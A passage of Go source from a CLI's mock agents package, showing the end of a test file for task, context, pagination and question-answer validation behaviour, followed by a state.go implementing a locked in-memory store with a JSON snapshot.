if got := agentReply(t, task); !strings.Contains(got, "dark 主题,含水印") {
t.Fatalf("render object should feed the reply, got %q", got)
}
}
// TestReporterArtifactFlow verifies the full artifact chain.
func TestReporterArtifactFlow(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter"}
ctx := context.Background()
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "本季度报表"})
if err != nil {
t.Fatal(err)
}
if len(task.Artifacts) != 1 {
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
}
art := task.Artifacts[0]
if art.ID == "" || art.Kind != "text" {
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
}
data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
if err != nil {
t.Fatalf("downloadArtifact: %v", err)
}
if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
t.Errorf("suggested_name/mime wrong: %+v", data)
}
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
}
if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
t.Fatal("unknown artifact id should return an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
}
}
// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
// for a terminal task (the mock task is completed the moment it is sent).
func TestReporterCancelTerminal(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter"}
ctx := context.Background()
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
err = cancelTask(ctx, rt, task.TaskID)
if err == nil {
t.Fatal("canceling a terminal task should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
}
}
// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
// framework's LookupSpec (with a hint pointing to agents list example).
func TestUnknownCatalogID(t *testing.T) {
_, _, _, err := agents.LookupSpec("example:nonexistent")
if err == nil {
t.Fatal("an unknown catalog id should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
}
}
// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
// unknown context id.
func TestSendGuards(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
ctx := context.Background()
_, err := echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
}
_, err = echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_missing"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
}
}
// TestDeleteContext verifies deleting a context also cleans up its tasks.
func TestDeleteContext(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
ctx := context.Background()
task, err := echoSend(ctx, rt, agents.SendInput{Text: "bye"})
if err != nil {
t.Fatal(err)
}
if err := deleteContext(ctx, rt, task.ContextID); err != nil {
t.Fatal(err)
}
if _, err := getTask(ctx, rt, task.TaskID); err == nil {
t.Fatal("after deleting the context its tasks should be unqueryable")
}
ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 0 {
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
}
}
// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
// active_task is the task with the LATEST updated_at (not the last created), the
// rollup counts tasks and flags awaiting_input, and an input_required active
// task's summary is its pending prompt. It seeds the store directly with
// out-of-creation-order timestamps so "latest updated_at wins" is tested
// independently of insertion order.
func TestContextRollupPicksLatestUpdated(t *testing.T) {
swapStore(t)
store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
store.Contexts["ctx_1"] = &contextRecord{
AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
}
store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agents.AgentTask{
TaskID: "t_a", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
}}
// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agents.AgentTask{
TaskID: "t_b", ContextID: "ctx_1", State: agents.StateInputRequired,
UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "按大区还是品类拆?"}}},
}}
store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agents.AgentTask{
TaskID: "t_c", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
}}
rt := fakeRuntime{agentID: "echo"}
detail, err := getContext(context.Background(), rt, "ctx_1")
if err != nil {
t.Fatal(err)
}
if detail.TaskCount == nil || *detail.TaskCount != 3 {
t.Errorf("task_count should be 3, got %+v", detail)
}
if !detail.AwaitingInput {
t.Error("awaiting_input should be true (t_b is input_required)")
}
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
}
if detail.ActiveTask.Summary != "按大区还是品类拆?" {
t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
}
if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
}
// context list carries the same rollup.
ctxs, _, err := listContexts(context.Background(), rt, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 {
t.Fatalf("expected 1 context, got %d", len(ctxs))
}
if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || !ctxs[0].AwaitingInput {
t.Errorf("context summary rollup wrong: %+v", ctxs[0])
}
}
// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
// and that an input_required task prefers its pending prompt over the last agent
// message.
func TestTaskSummaryText(t *testing.T) {
long := strings.Repeat("字", 250)
got := taskSummaryText(agents.AgentTask{Messages: agentMessage(long)})
if n := len([]rune(got)); n != summaryMaxRunes {
t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
}
prompt := taskSummaryText(agents.AgentTask{
State: agents.StateInputRequired,
InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "补充预算区间?"}}},
Messages: agentMessage("忽略我"),
})
if prompt != "补充预算区间?" {
t.Errorf("input_required summary should be the pending question, got %q", prompt)
}
multi := taskSummaryText(agents.AgentTask{
State: agents.StateInputRequired,
InputRequired: &agents.InputRequired{Label: "报表生成确认",
Questions: []agents.Question{{QuestionID: "q1_x", Question: "a?"}, {QuestionID: "q2_x", Question: "b?"}}},
})
if multi != "报表生成确认(共 2 题)" {
t.Errorf("multi-question summary should be label + count, got %q", multi)
}
}
// agentMessage builds a single agent-role text message for seeding task fixtures.
func agentMessage(text string) []agents.Message {
return []agents.Message{{Role: "agent", Parts: []agents.Part{{Type: "text", Text: text}}}}
}
// agentReply returns the first text reply from the agent role in the task.
func agentReply(t *testing.T, task *agents.AgentTask) string {
t.Helper()
for _, m := range task.Messages {
if m.Role != "agent" {
continue
}
for _, part := range m.Parts {
if part.Type == "text" {
return part.Text
}
}
}
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
return ""
}
// TestListTasksPagination pins the offset-cursor pagination of the store's
// listTasks: seed 5 tasks in one context, walk them 2 at a time, and assert the
// HasMore / NextToken contract plus no cross-page overlap. Ordering is
// most-recent-first (Seq descending).
func TestListTasksPagination(t *testing.T) {
swapStore(t)
ctx := context.Background()
rt := fakeRuntime{agentID: "echo"}
first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
if err != nil {
t.Fatal(err)
}
ctxID := first.ContextID
for _, text := range []string{"m1", "m2", "m3", "m4"} {
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
t.Fatal(err)
}
}
p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
if len(p1) != 2 {
t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
}
if !info1.HasMore || info1.NextToken == "" {
t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
}
p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info1.NextToken})
if len(p2) != 2 {
t.Fatalf("page 2 should have 2 tasks, got %d", len(p2))
}
if !info2.HasMore || info2.NextToken == "" {
t.Fatalf("page 2 should report more pages with a cursor, got %+v", info2)
}
seen := map[string]bool{p1[0].TaskID: true, p1[1].TaskID: true}
if seen[p2[0].TaskID] || seen[p2[1].TaskID] {
t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
}
p3, info3 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info2.NextToken})
if len(p3) != 1 {
t.Fatalf("page 3 (final) should have the last 1 task, got %d", len(p3))
}
if info3.HasMore || info3.NextToken != "" {
t.Fatalf("page 3 is the last page: HasMore=false, NextToken empty, got %+v", info3)
}
}
// TestListTasksPaginationExactBoundary pins the no-phantom-page contract when the
// total is an exact multiple of the page size: 4 tasks at size 2 yield a full
// first page (HasMore=true, NextToken="2") and a full SECOND page that is also
// the last (HasMore=false, NextToken=""), never a spurious empty page 3.
func TestListTasksPaginationExactBoundary(t *testing.T) {
swapStore(t)
ctx := context.Background()
rt := fakeRuntime{agentID: "echo"}
first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
if err != nil {
t.Fatal(err)
}
ctxID := first.ContextID
for _, text := range []string{"m1", "m2", "m3"} {
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
t.Fatal(err)
}
}
p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
if len(p1) != 2 {
t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
}
if !info1.HasMore || info1.NextToken != "2" {
t.Fatalf("page 1 should report more pages with NextToken \"2\", got %+v", info1)
}
p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: "2"})
if len(p2) != 2 {
t.Fatalf("page 2 (final) should have the last 2 tasks, got %d", len(p2))
}
if info2.HasMore || info2.NextToken != "" {
t.Fatalf("page 2 is the last page (no phantom empty page 3): HasMore=false, NextToken empty, got %+v", info2)
}
}
// TestListContextsPagination pins the same offset-cursor contract for the store's
// listContexts: 3 contexts, page-size 2 → first page of 2 with more, then a final
// page of 1 with no more.
func TestListContextsPagination(t *testing.T) {
swapStore(t)
ctx := context.Background()
rt := fakeRuntime{agentID: "echo"}
for _, text := range []string{"c0", "c1", "c2"} {
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text}); err != nil { // no ContextID ⇒ new context each time
t.Fatal(err)
}
}
p1, info1 := store.listContexts("echo", agents.PageParams{Size: 2})
if len(p1) != 2 {
t.Fatalf("page 1 should have 2 contexts, got %d", len(p1))
}
if !info1.HasMore || info1.NextToken == "" {
t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
}
p2, info2 := store.listContexts("echo", agents.PageParams{Size: 2, Token: info1.NextToken})
if len(p2) != 1 {
t.Fatalf("page 2 (final) should have the last 1 context, got %d", len(p2))
}
if info2.HasMore || info2.NextToken != "" {
t.Fatalf("page 2 is the last page: HasMore=false, NextToken empty, got %+v", info2)
}
if p1[0].ContextID == p2[0].ContextID || p1[1].ContextID == p2[0].ContextID {
t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
}
}
// TestPlannerCountAndAliasRules pins the remaining §4.2/§6.3 value rules the
// main flow doesn't reach: count_violation on both branches (single-select
// with two picks; text question with two bare values), the bare-value alias on
// a text question (MUST be accepted as .text), and the .text supplement on a
// single-select never counting toward cardinality.
func TestPlannerCountAndAliasRules(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
ir := t1.InputRequired
q1, q2, q3 := ir.Questions[0].QuestionID, ir.Questions[1].QuestionID, ir.Questions[2].QuestionID
// count_violation: two picks on the single-select, two bare texts on the
// text question.
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID,
Answers: map[string][]string{
q1: {"by_region", "by_category"},
q2: {"a", "b"},
q3: {"east"},
},
})
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatal(err)
}
counts := 0
for _, ip := range verr.Params {
if ip.Reason == "count_violation" {
counts++
}
}
if counts != 2 {
t.Fatalf("both count_violation branches should fire, got %+v", verr.Params)
}
// Accept path: bare-value alias on the text question + .text supplement on
// the single-select (never counted toward cardinality).
done, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID,
Answers: map[string][]string{
q1: {"by_region"},
q1 + ".text": {"海外先不算"},
q2: {"2024 全年"}, // bare alias of .text
q3: {"east"},
},
})
if err != nil {
t.Fatalf("alias + supplement must be accepted: %v", err)
}
if done.State != agents.StateCompleted {
t.Fatalf("got %s", done.State)
}
}
// TestPlannerGroupSurvivesReload pins the §6.2 conformance promise: keys are
// minted at creation and persist — a FRESH store instance (new process) replays
// identical question ids, and answering with those ids still routes.
func TestPlannerGroupSurvivesReload(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
ids := []string{t1.InputRequired.Questions[0].QuestionID, t1.InputRequired.Questions[1].QuestionID, t1.InputRequired.Questions[2].QuestionID}
store = newMemoryStore(store.path) // simulate a fresh CLI process
got, err := getTask(ctx, rt, t1.TaskID)
if err != nil {
t.Fatal(err)
}
for i, q := range got.InputRequired.Questions {
if q.QuestionID != ids[i] {
t.Fatalf("question ids must be identical across processes (render-time minting is non-conforming): %v vs %v", q.QuestionID, ids[i])
}
}
if _, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(got.InputRequired),
}); err != nil {
t.Fatalf("answering with reloaded ids must route: %v", err)
}
}
// TestPlannerConcurrentAnswers pins §6.7 atomicity: two racing submissions get
// exactly one winner; the loser sees failed_precondition with resolved_answers
// equal to the winner's set.
func TestPlannerConcurrentAnswers(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
answers := plannerAnswers(t1.InputRequired)
errsCh := make(chan error, 2)
for i := 0; i < 2; i++ {
go func() {
_, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: answers,
})
errsCh <- err
}()
}
e1, e2 := <-errsCh, <-errsCh
if (e1 == nil) == (e2 == nil) {
t.Fatalf("exactly one submission must win, got %v / %v", e1, e2)
}
loser := e1
if loser == nil {
loser = e2
}
var verr *errs.ValidationError
if !errors.As(loser, &verr) || verr.ResolvedAnswers == nil {
t.Fatalf("loser must get failed_precondition with resolved_answers, got %v", loser)
}
}

679
agents/example/state.go Normal file
View File

@@ -0,0 +1,679 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"time"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/vfs"
)
// ============================================================================
// In-memory state machine (teaching focus: concurrency safety of package-level
// state + the CLI process boundary)
//
// A real provider's context/task state lives on the server, so the adapter is
// naturally stateless; example is a pure mock and must manage state itself. Two
// disciplines the integrator needs to know:
//
// 1. Concurrency safety: package-level mutable state must be locked. A single
// coarse-grained Mutex covers all reads and writes here — the mock does not
// chase throughput; correctness comes first.
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
// in-memory map does not survive a single command — after `send`, a
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
// demo chain work across commands. A real provider neither needs nor should
// have this layer — it is a mock-only demo device.
//
// Note that the snapshot is loaded lazily (only on the first real read/write of
// state): provider registration is a pure declarative Register(Provider) call
// (see agent/register.go) with no construction and no side effects, so nothing
// touches store at registration time — the snapshot is read on the first hook
// invocation, not at init.
// ============================================================================
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
// + creation sequence number (list output sorts by creation order to guarantee
// stable enumeration).
type taskRecord struct {
AgentID string `json:"agent_id"`
Seq int `json:"seq"`
Task agents.AgentTask `json:"task"`
// Accepted is the acceptance record of the task's question group (§10.1 key
// encoding), written atomically with the state transition: it is what a
// late/second submission gets echoed back as resolved_answers — the
// machine-readable "who won" signal.
Accepted map[string][]string `json:"accepted,omitempty"`
}
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
// demonstrate "context memory".
type contextRecord struct {
AgentID string `json:"agent_id"`
ContextID string `json:"context_id"`
CreatedAt string `json:"created_at"`
Title string `json:"title,omitempty"`
Seq int `json:"seq"`
TaskIDs []string `json:"task_ids"`
}
// memoryStore is the package-level state machine itself: mu covers all fields;
// path is the JSON snapshot location; loaded ensures the snapshot is read only
// once, on first access.
type memoryStore struct {
mu sync.Mutex
path string
loaded bool
Contexts map[string]*contextRecord `json:"contexts"`
Tasks map[string]*taskRecord `json:"tasks"`
NextSeq int `json:"next_seq"`
}
// store is the package-level singleton. Tests use swapStoreForTest to replace it
// with an instance pointing at t.TempDir, avoiding cross-contamination between
// tests and between tests and the local demo state.
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agents.json"))
func newMemoryStore(path string) *memoryStore {
return &memoryStore{
path: path,
Contexts: map[string]*contextRecord{},
Tasks: map[string]*taskRecord{},
}
}
// loadLocked lazily reads in the snapshot (the caller must already hold the
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
// mock's demo data is not worth erroring over, so it just starts fresh.
func (s *memoryStore) loadLocked() {
if s.loaded {
return
}
s.loaded = true
data, err := vfs.ReadFile(s.path)
if err != nil {
return
}
var snap memoryStore
if json.Unmarshal(data, &snap) != nil {
return
}
if snap.Contexts != nil {
s.Contexts = snap.Contexts
}
if snap.Tasks != nil {
s.Tasks = snap.Tasks
}
s.NextSeq = snap.NextSeq
}
// saveLocked writes the current state back to the snapshot (the caller must
// already hold the lock). A write failure returns a typed internal error
// (storage subtype) — the mock does not swallow errors either: silently losing
// state would make the next command report "task not found", which is harder to
// diagnose than a clear error.
func (s *memoryStore) saveLocked() error {
data, err := json.MarshalIndent(s, "", " ")
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
}
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
}
return nil
}
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
// deliberately aligns with the command layer's meta.next interpolation
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
// string "the AI copies and runs", and an id with shell metacharacters would
// cause the whole hint to be suppressed.
func newID(prefix string) string {
var b [6]byte
if _, err := rand.Read(b[:]); err != nil {
// crypto/rand being unavailable is an environment-level failure; the mock
// degrades to a timestamp that still satisfies the character set.
return prefix + "_" + time.Now().UTC().Format("20060102150405")
}
return prefix + "_" + hex.EncodeToString(b[:])
}
// newGroupSuffix mints the per-group question-id suffix (4 hex chars,
// key-safe): random at GROUP-CREATION time — the randomness is what makes a
// successor group's minted ids necessarily differ (§6.2 cross-group
// uniqueness), which in turn is what makes a stale retry hit unknown_question
// instead of silently answering the next group.
func newGroupSuffix() string {
var b [2]byte
if _, err := rand.Read(b[:]); err != nil {
return time.Now().UTC().Format("0405")
}
return hex.EncodeToString(b[:])
}
// createContext creates a new context and returns its id (the first-turn send goes here).
func (s *memoryStore) createContext(agentID, title string) (string, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
id := newID("ctx")
s.NextSeq++
s.Contexts[id] = &contextRecord{
AgentID: agentID,
ContextID: id,
CreatedAt: time.Now().UTC().Format(time.RFC3339),
Title: title,
Seq: s.NextSeq,
}
return id, s.saveLocked()
}
// createTask appends a task under ctxID: validate context ownership → compute
// the round (which task number in this conversation) → call build under the lock
// to construct the task → insert and write the snapshot. build runs inside the
// lock to guarantee "compute the round" and "store the task" are atomic, so two
// concurrent sends never get the same round.
// An unknown / cross-agents context id returns a typed validation error (teaching
// point: every error a provider returns must be typed — a bare error would land
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
// argument", semantically invalid_argument/exit 2, and the AI relies on this
// classification to decide between "fix the argument and retry" and "report an
// environment failure").
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agents.AgentTask) (agents.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
}
task := build(len(ctx.TaskIDs) + 1)
// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
// created_at == updated_at; a real provider bumps updated_at on every status
// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
// lexicographic order equals chronological order (relied on by the rollup).
now := time.Now().UTC().Format(time.RFC3339)
task.CreatedAt = now
task.UpdatedAt = now
s.NextSeq++
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
return task, s.saveLocked()
}
// getTask fetches a task snapshot by id (returns a copy by value, so the command
// layer's in-place edits like normalizeTask do not write through to store). A
// cross-agents task is treated as "not found", without leaking another agent's state.
func (s *memoryStore) getTask(agentID, taskID string) (agents.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok || rec.AgentID != agentID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 task id '%s'example:%s 名下不存在)", taskID, agentID).
WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
}
task := rec.Task
// AgentTask is returned by value, but InputRequired is a pointer — clone it
// so the command layer's in-place normalization can never write through into
// the store (one-process runs must behave like per-process runs).
task.InputRequired = cloneGroup(rec.Task.InputRequired)
return task, nil
}
// cloneGroup deep-copies a question group (nil-safe).
func cloneGroup(ir *agents.InputRequired) *agents.InputRequired {
if ir == nil {
return nil
}
out := *ir
out.Questions = make([]agents.Question, len(ir.Questions))
for i, q := range ir.Questions {
out.Questions[i] = q
out.Questions[i].Options = append([]agents.Option(nil), q.Options...)
}
return &out
}
// setTaskState updates a task's state (used by reporter's cancel).
func (s *memoryStore) setTaskState(taskID string, state agents.TaskState) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
}
rec.Task.State = state
rec.Task.IsTerminal = state.IsTerminal()
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
return s.saveLocked()
}
// answerGroup applies a group answer (§10.1 key encoding) to a task's pending
// input_required question group. It is the mock's stand-in for a STRICT-posture
// server (a form backend): every question required, bare values validated
// against the stored options, single-select cardinality enforced, the skip
// option exclusive — with every violation collected into ONE ValidationError
// (params[] entries with the Reason enum + the question declaration as Spec) so
// the caller fixes everything in a single resend. A tolerant LLM-backed
// provider may instead consume partial/free answers — validation POLICY is the
// provider's own; only the error FORMAT here is contractual.
//
// Acceptance is atomic under the store lock (validate → record Accepted →
// leave input_required in one critical section, the reply message inside it) —
// two racing submissions get exactly one winner; the loser (and any late
// retry) gets failed_precondition carrying resolved_answers, the
// machine-readable "already decided, here is what won" signal.
func (s *memoryStore) answerGroup(agentID, ctxID, taskID string, answers map[string][]string, remark string) (agents.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok || rec.AgentID != agentID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 task id '%s'example:%s 名下不存在)", taskID, agentID).
WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
}
// context_id+task_id is the group's unique address (§2.1) — the CLI forces
// both flags for that binding, so honoring only half of it here would teach
// integrators to silently ignore the other half.
if ctxID != "" && ctxID != rec.Task.ContextID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"context_id '%s' 与任务 '%s' 所属会话不符", ctxID, taskID).
WithHint("用 lark-cli agents task get example:%s %s 确认该任务的 context_id", agentID, taskID)
}
ir := rec.Task.InputRequired
if rec.Task.State != agents.StateInputRequired || ir == nil {
e := errs.NewValidationError(errs.SubtypeFailedPrecondition,
"任务 '%s' 已不在等待输入", taskID).
WithHint("用 lark-cli agents task get example:%s %s 查看当前状态与结果", agentID, taskID)
if rec.Accepted != nil {
// The group was already resolved (another endpoint, or a retry whose
// first attempt landed): echo what won, machine-readable.
e = e.WithResolvedAnswers(rec.Accepted)
}
return agents.AgentTask{}, e
}
byID := make(map[string]agents.Question, len(ir.Questions))
currentIDs := make([]string, 0, len(ir.Questions))
for _, q := range ir.Questions {
byID[q.QuestionID] = q
currentIDs = append(currentIDs, q.QuestionID)
}
// Deterministic violation order: sorted answer keys, then missing questions
// in group order.
keys := make([]string, 0, len(answers))
for k := range answers {
keys = append(keys, k)
}
sort.Strings(keys)
var viols []errs.InvalidParam
answered := make(map[string]bool, len(answers))
for _, key := range keys {
values := answers[key]
qid, isText := agents.SplitAnswerKey(key)
q, known := byID[qid]
if !known {
// A stale retry (the group changed under the caller) lands exactly
// here — Suggestions carries the CURRENT group's keys so the caller
// can tell "typo" from "new group" without a discovery round-trip.
viols = append(viols, errs.InvalidParam{Name: key, Reason: "unknown_question",
Suggestions: currentIDs})
continue
}
answered[qid] = true
if isText {
// Free text is always consumable here (the strict-but-LLM-ish demo
// posture); a pure form backend MAY reject it with reason
// invalid_option-style clarity instead — never silently drop it.
if len(q.Options) == 0 {
if _, both := answers[qid]; both {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
}
}
continue
}
if len(q.Options) == 0 {
// Text question answered via the bare-value alias: legal, but only one
// text per question.
if len(values) > 1 {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
}
continue
}
picked := 0
for _, v := range values {
if _, ok := optionLabel(q.Options, v); !ok {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "invalid_option", Spec: q})
} else {
picked++
}
}
if !q.MultiSelect && len(values) > 1 {
viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
}
if picked > 1 && hasValue(values, "skip") {
// planner's own policy: its skip option means "let the agent decide"
// and is exclusive with real picks.
viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
}
}
// Strict posture: every question of the group is required.
for _, q := range ir.Questions {
if !answered[q.QuestionID] {
viols = append(viols, errs.InvalidParam{Name: q.QuestionID, Reason: "missing", Spec: q})
}
}
if len(viols) > 0 {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"%d 个答案有问题", len(viols)).
WithParams(viols...).
WithHint("按 params 里的题目声明修正后整组重发(含未报错的题)")
}
// Atomic acceptance: record + reply + state transition in one critical
// section, snapshot write last.
rec.Accepted = answers
rec.Task.State = agents.StateCompleted
rec.Task.IsTerminal = true
if remark != "" {
// The §4.1 message-level remark (--text alongside --answer) is part of
// the user's message — record it, never silently drop it (§6.4).
rec.Task.Messages = append(rec.Task.Messages, agents.Message{
Role: "user", Parts: []agents.Part{{Type: "text", Text: remark}},
})
}
rec.Task.Messages = append(rec.Task.Messages, agents.Message{
Role: "agent",
Parts: []agents.Part{{Type: "text", Text: acceptanceReply(ir, answers)}},
})
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339)
return rec.Task, s.saveLocked()
}
// acceptanceReply composes the post-acceptance agent message, resolving option
// ids back to labels from the stored group — the §6.1 store-and-resolve
// pattern: the wire carried keys, the business reads values.
func acceptanceReply(ir *agents.InputRequired, answers map[string][]string) string {
var parts []string
for _, q := range ir.Questions {
var vals []string
for _, v := range answers[q.QuestionID] {
if label, ok := optionLabel(q.Options, v); ok {
vals = append(vals, label)
} else {
vals = append(vals, v)
}
}
vals = append(vals, answers[q.QuestionID+agents.AnswerTextSuffix]...)
if len(vals) > 0 {
parts = append(parts, q.Question+"「"+strings.Join(vals, "、")+"」")
}
}
return "已按答复出报表:" + strings.Join(parts, "")
}
// hasValue reports whether vals contains v.
